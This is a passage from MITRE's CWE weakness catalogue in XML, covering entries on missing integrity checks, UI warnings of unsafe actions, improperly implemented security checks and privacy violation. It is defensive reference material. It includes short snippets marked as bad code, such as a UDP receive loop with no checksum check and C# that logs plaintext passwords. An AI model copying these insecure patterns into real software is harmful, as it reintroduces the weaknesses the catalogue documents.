					          <Relationship_Target_ID>353</Relationship_Target_ID>
					          <!--Missing Support for Integrity Check-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Integrity checks usually use a secret key that helps authenticate the
							data origin. Skipping integrity checking generally opens up the
							possibility that new data from an invalid source can be injected.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data that is parsed and used may be corrupted.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Without a checksum check, it is impossible to determine if any changes
							have been made to the data after it was sent.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that the checksums present in messages are properly checked in
							accordance with the protocol specification before they are parsed and
							used.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family =
								AF_INET;</Code>
							              <Code>serv.sin_addr.s_addr = htonl(INADDR_ANY);</Code>
							              <Code>servr.sin_port = htons(1008);</Code>
							              <Code>bind(sd, (struct sockaddr *) &amp; serv, sizeof(serv));</Code>
							              <Code>while (1) {</Code>
							              <Block>
								                <Code/>
								                <Code>memset(msg, 0x0, MAX_MSG);</Code>
								                <Code>clilen = sizeof(cli);</Code>
								                <Code>if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg,
									MAX_MSG, 0, (struct sockaddr *) &amp; cli, &amp;clilen); </Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>while(true) {</Code>
							              <Block>
								                <Code>DatagramPacket packet = new
									DatagramPacket(data,data.length,IPAddress, port);</Code>
								                <Code>socket.send(sendPacket);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to check integrity check value</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>463</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Check Integrity
						Check Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="356" Name="Product UI does not Warn User of Unsafe Actions" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software's user interface does not warn the user before
					undertaking an unsafe action on behalf of that user. This makes it easier for
					attackers to trick users into inflicting damage to their
					system.</Description_Summary>
				        <Extended_Description>
					          <Text>Software systems should warn users that a potentially dangerous action may
						occur if the user proceeds. For example, if the user downloads a file from
						an unknown source and attempts to execute the file on their machine, then
						the application's GUI can indicate that the file is unsafe.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>221</Relationship_Target_ID>
					          <!--Information Loss or Omission-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>355</Relationship_Target_ID>
					          <!--User Interface Security Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Often resultant, e.g. in unhandled error conditions.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>Can overlap privilege errors, conceptually at least.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1055</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not warn user when document contains
						certain dangerous functions or macros.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0794</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not warn user when document contains
						certain dangerous functions or macros.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0277</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not warn user when document contains
						certain dangerous functions or macros.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0517</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not warn user about a certificate if
						it has already been accepted for a different site. Possibly
						resultant.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0602</Observed_Example_Reference>
					          <Observed_Example_Description>File extractor does not warn user it setuid/setgid
						files could be extracted. Overlaps
						privileges/permissions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0342</Observed_Example_Reference>
					          <Observed_Example_Description>E-mail client allows bypass of warning for
						dangerous attachments via a Windows .LNK file that refers to the
						attachment.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Product UI does not warn user of unsafe
						actions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="357" Name="Insufficient UI Warning of Dangerous Operations" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The user interface provides a warning to a user regarding
					dangerous or sensitive operations, but the warning is not noticeable enough to
					warrant attention.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>355</Relationship_Target_ID>
					          <!--User Interface Security Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1099</Observed_Example_Reference>
					          <Observed_Example_Description>User not sufficiently warned if host key mismatch
						occurs</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient UI warning of dangerous
						operations</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="358" Name="Improperly Implemented Security Check for Standard" Status="Draft" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>The software does not implement or incorrectly implements one
					or more security-relevant checks as specified by the design of a standardized
					algorithm, protocol, or technique.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is a "missing step" error on the product side, which can overlap
						weaknesses such as insufficient verification and spoofing. It is frequently
						found in cryptographic and authentication errors. It is sometimes
						resultant.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This is an implementation error, in which the algorithm/technique requires
						certain security-related behaviors or conditions that are not implemented or
						checked properly, thus causing a vulnerability.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0862</Observed_Example_Reference>
					          <Observed_Example_Description>Browser does not verify Basic Constraints of a
						certificate, even though it is required, allowing spoofing of trusted
						certificates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0970</Observed_Example_Reference>
					          <Observed_Example_Description>Browser does not verify Basic Constraints of a
						certificate, even though it is required, allowing spoofing of trusted
						certificates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1407</Observed_Example_Reference>
					          <Observed_Example_Description>Browser does not verify Basic Constraints of a
						certificate, even though it is required, allowing spoofing of trusted
						certificates.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0198</Observed_Example_Reference>
					          <Observed_Example_Description>Logic error prevents some required conditions from
						being enforced during Challenge-Response Authentication Mechanism with MD5
						(CRAM-MD5).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2163</Observed_Example_Reference>
					          <Observed_Example_Description>Shared secret not verified in a RADIUS response
						packet, allowing authentication bypass by spoofing server
						replies.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2181</Observed_Example_Reference>
					          <Observed_Example_Description>Insufficient verification in VoIP implementation,
						in violation of standard, allows spoofed
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2182</Observed_Example_Reference>
					          <Observed_Example_Description>Insufficient verification in VoIP implementation,
						in violation of standard, allows spoofed
						messages.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2298</Observed_Example_Reference>
					          <Observed_Example_Description>Security check not applied to all components,
						allowing bypass.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Improperly Implemented Security Check for
						Standard</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Observed_Examples,
						Other_Notes, Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="359" Name="Privacy Violation" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>Mishandling private information, such as customer passwords or
					social security numbers, can compromise user privacy and is often
					illegal.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>200</Relationship_Target_ID>
					          <!--Information Exposure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Privacy violations occur when:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Private user information enters the program.</Text>
						            <Text>The data is written to an external location, such as the console, file
							system, or network.</Text>
					          </Block>
					          <Text>Private data can enter a program in a variety of ways:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Directly from the user in the form of a password or personal
							information</Text>
						            <Text>Accessed from a database or other data store by the application</Text>
						            <Text>Indirectly from a partner or other third party</Text>
					          </Block>
					          <Text>Sometimes data that is not labeled as private can have a privacy
						implication in a different context. For example, student identification
						numbers are usually not considered private because there is no explicit and
						publicly-available mapping to an individual student's personal information.
						However, if a school generates identification numbers based on student
						social security numbers, then the identification numbers should be
						considered private.</Text>
					          <Text>Security and privacy concerns often seem to compete with each other. From
						a security perspective, you should record all important operations so that
						any anomalous activity can later be identified. However, when private data
						is involved, this practice can in fact create risk. Although there are many
						ways in which private data can be handled unsafely, a common risk stems from
						misplaced trust. Programmers often trust the operating environment in which
						a program runs, and therefore believe that it is acceptable store private
						information on the file system, in the registry, or in other
						locally-controlled resources. However, even if access to certain resources
						is restricted, this does not guarantee that the individuals who do have
						access can be trusted.</Text>
					          <Text>For example, in 2004, an unscrupulous employee at AOL sold approximately
						92 million private customer e-mail addresses to a spammer marketing an
						offshore gambling web site. In response to such high-profile exploits, the
						collection and management of private data is becoming increasingly
						regulated. Depending on its location, the type of business it conducts, and
						the nature of any private data it handles, an organization may be required
						to comply with one or more of the following federal and state regulations: -
						Safe Harbor Privacy Framework [R.359.2] - Gramm-Leach Bliley Act (GLBA)
						[R.359.3] - Health Insurance Portability and Accountability Act (HIPAA)
						[R.359.4] - California SB-1386 [R.359.5]</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code contains a logging statement that tracks the
						contents of records added to a database by storing them in a log file. Among
						other values that are stored, the getPassword() function returns the
						user-supplied plaintext password associated with the account.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>pass = GetPassword();</Code>
							              <Code>...</Code>
							              <Code>dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" +
								tstamp);</Code>
						            </Block>
						            <Text>The code in the example above logs a plaintext password to the
							filesystem. Although many developers trust the filesystem as a safe
							storage location for data, it should not be trusted implicitly,
							particularly when privacy is a concern.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.359.1">
					          <Reference_Author>J. Oates</Reference_Author>
					          <Reference_Title>AOL man pleads guilty to selling 92m email
						addies</Reference_Title>
					          <Reference_Publication>The Register</Reference_Publication>
					          <Reference_PubDate>2005</Reference_PubDate>
					          <Reference_Link>http://www.theregister.co.uk/2005/02/07/aol_email_theft/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-2" Local_Reference_ID="R.359.2">
					          <Reference_Author>U.S. Department of Commerce</Reference_Author>
					          <Reference_Title>Safe Harbor Privacy Framework</Reference_Title>
					          <Reference_Link>http://www.export.gov/safeharbor/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-3" Local_Reference_ID="R.359.3">
					          <Reference_Author>Federal Trade Commission</Reference_Author>
					          <Reference_Title>Financial Privacy: The Gramm-Leach Bliley Act
						(GLBA)</Reference_Title>
					          <Reference_Link>http://www.ftc.gov/privacy/glbact/index.html</Reference_Link>
